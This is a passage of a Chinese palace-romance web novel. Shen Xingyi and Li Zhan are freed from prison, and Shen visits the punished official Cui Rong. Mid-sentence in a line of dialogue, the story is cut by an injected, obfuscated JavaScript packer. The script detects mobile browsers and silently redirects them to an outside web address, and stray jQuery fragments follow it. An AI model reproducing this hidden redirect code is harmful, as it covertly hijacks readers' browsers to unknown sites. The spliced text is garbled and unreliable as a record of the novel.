崔融证据确凿,言词缜密,主审官也不能当着众臣置若罔闻,只能将事情上奏皇后。
皇后暗示他将崔融提供的证据压下,但证据终究还是传到了皇帝手中,之后,主审官被调换。
众臣也通过此事看清楚了皇帝的态度,虽然对李瞻父子忌惮疑虑,但只要他们安分守己,也不会容忍旁人来陷害冤枉。
李瞻和沈行懿因此被放出。
从炼狱重回人间,北苑一切如故,但沈行懿心中始终空落不安。
若这是皇后处心积虑安排的阴谋,却被崔融拆穿……
崔融……他螳臂当车,恐怕皇后不会轻易放过……
反而是李瞻,因在牢狱中两人互明了心念,他终于不用再隐藏心思。
那时的李瞻还不是后来无情的帝王,他亲手为沈行懿做了葵花田里的秋千,为她做了两人模样的纸鸢……那一夜,李瞻为她捧来在猎场打下的一双雁。
他嗓音沙哑,双眸却明亮:“九芍,求婚以雁为礼,如今条件所限,这双雁权当我们的大婚之礼,你可愿收下?”
夜色沉寂,他的眼眸深情旖旎。
她接过他亲手打来的雁。
他们共饮她用芍花酿的酒。
李瞻拥她入眠,抚着她的长发,遗憾道:“可惜北苑没有一双红烛,也无大红喜服……九芍……出去后,我们再办一场婚礼吧……”
那时的李瞻不管说什么,沈行懿都笑着应好。
后来,他们真的又有了一场算不得婚礼的婚礼。
李瞻已贵为君王,她成了他后宫佳丽中的沈昭仪。
那一夜,李瞻批改奏折到深夜,才推开了她殿中房门。
李瞻仍一身玄色君主袍服,望着坐在床畔的她,眉眼尽是倦怠和平静。
多可笑。
爱她时,一双红烛都觉得是亏欠,不爱时,连衣衫都懒得换。
但从牢狱中出来的那几个月,的确是二人最情浓之时。
只是,沈行懿心头始终空落不安,剪灯芯时多次烫了手。
崔融救下他们之后,已许久未曾来宫中授课了。
她瞒着李瞻,暗中打探崔融的消息。
“你还不知吗?”一同上课的宫人低声道:“崔大人被杖责了,宫教的差事也被罢了。”
沈行懿心头猛然一惊:“为何?”
那宫人偏头想了想:“说是因了来宫教时走了近路,还有教课时有几次拖了时辰,违反了宫规……这么一点儿小事,崔大人就被罚俸半年,杖责三十。”
沈行懿缓缓握紧掌心。
皇后对崔融定然暗恨在心,不能明面动他,也要借着别的由头罚他。
李瞻也知晓了此事,叹息:“崔融此番帮了我们,此人精明缜密,若能趁机和他结交,日后定然有益。”
她奉李瞻之命,去给崔融送些药材。
药材是李瞻准备的,沈行懿自己准备的礼物,是亲手抄写的佛经。
他给她的经书,让她心绪平静,她也想回赠他,保佑他平安康健。
她到崔府时,崔融刚下朝回来,他已是一身绯袍,面色苍白,乌发高束,眉目俊秀不改。
崔融未看药材,修长如玉的手指翻看着她写的佛经,低垂眼眸,温润矜贵:“字进益了,即使以后无人督促,学问也不可懈怠。”
沈行懿唇角微抿。
他说得话严肃古板,好似他们之间,只是老师和学生。
沈行懿微微躬身道:“殿下和我对老师都甚是感激,即使老师不再教我们,也会常念老师之情,以后朝廷之事,也想多受老师指教
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15362083|167729||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
崔融摇摇头,透着不近人间烟火的清冷:“我和殿下之间并无私情,大案一起,朝廷人心惶惶,唯有内政稳定,方能休养民息,推行国策……殿下只要安分守己,定然无人刁难于他。”
不但他如此想,皇帝也如此想。
因此,虽碍于皇后党羽处罚了他,但不久却升了他的官职,如今他位列三品手握实权,离阁臣只有一步之遥。
沈行懿正要开口,崔融却咳了起来。
手帕收起的一瞬间,沈行懿看到星星点点的血迹,若红梅开落。
沈行懿心中一沉,她面见了崔融,差点忘记崔融经历了何事。
他看起来仍然矜贵,清醒,强大到可以拯救朝廷和所有黎民。
可他也终究是血肉之躯,经历的苦难不会消弭,看似风过无痕,实则在独自默然承受……
回宫后,沈行懿将此事告知了金珠,金珠当时还诧异:“崔大人也就是二十左右,即使被杖责了,又何至于伤好后还会吐血呢,若他咳血,那定然是身子从前就有病根隐疾……”
又有小太监低声道:“你们莫要往外传,我曾在文渊阁侍奉过几位大人,崔大人的身子骨儿,好似的确不强健,应该是之前受过伤,总是熬药,听说他未曾被陛下赏识之前还有传言,说他身有疯疾……”
……
前世的那些流言,沈行懿并没有深究。
她顺理成章想着,崔融身为贵公子,定然金尊玉贵,怎会受过伤呢……
可如今她总算知晓,他并非未曾经历过苦痛,只是从小就习惯了掩饰。
长年累月的伤口早已成了他的一部分,当忍痛成为常态,反而像是从未受过伤。
就像此刻,他背后的伤早已血肉模糊,马车颠簸,他仍不发出一丝呻口今。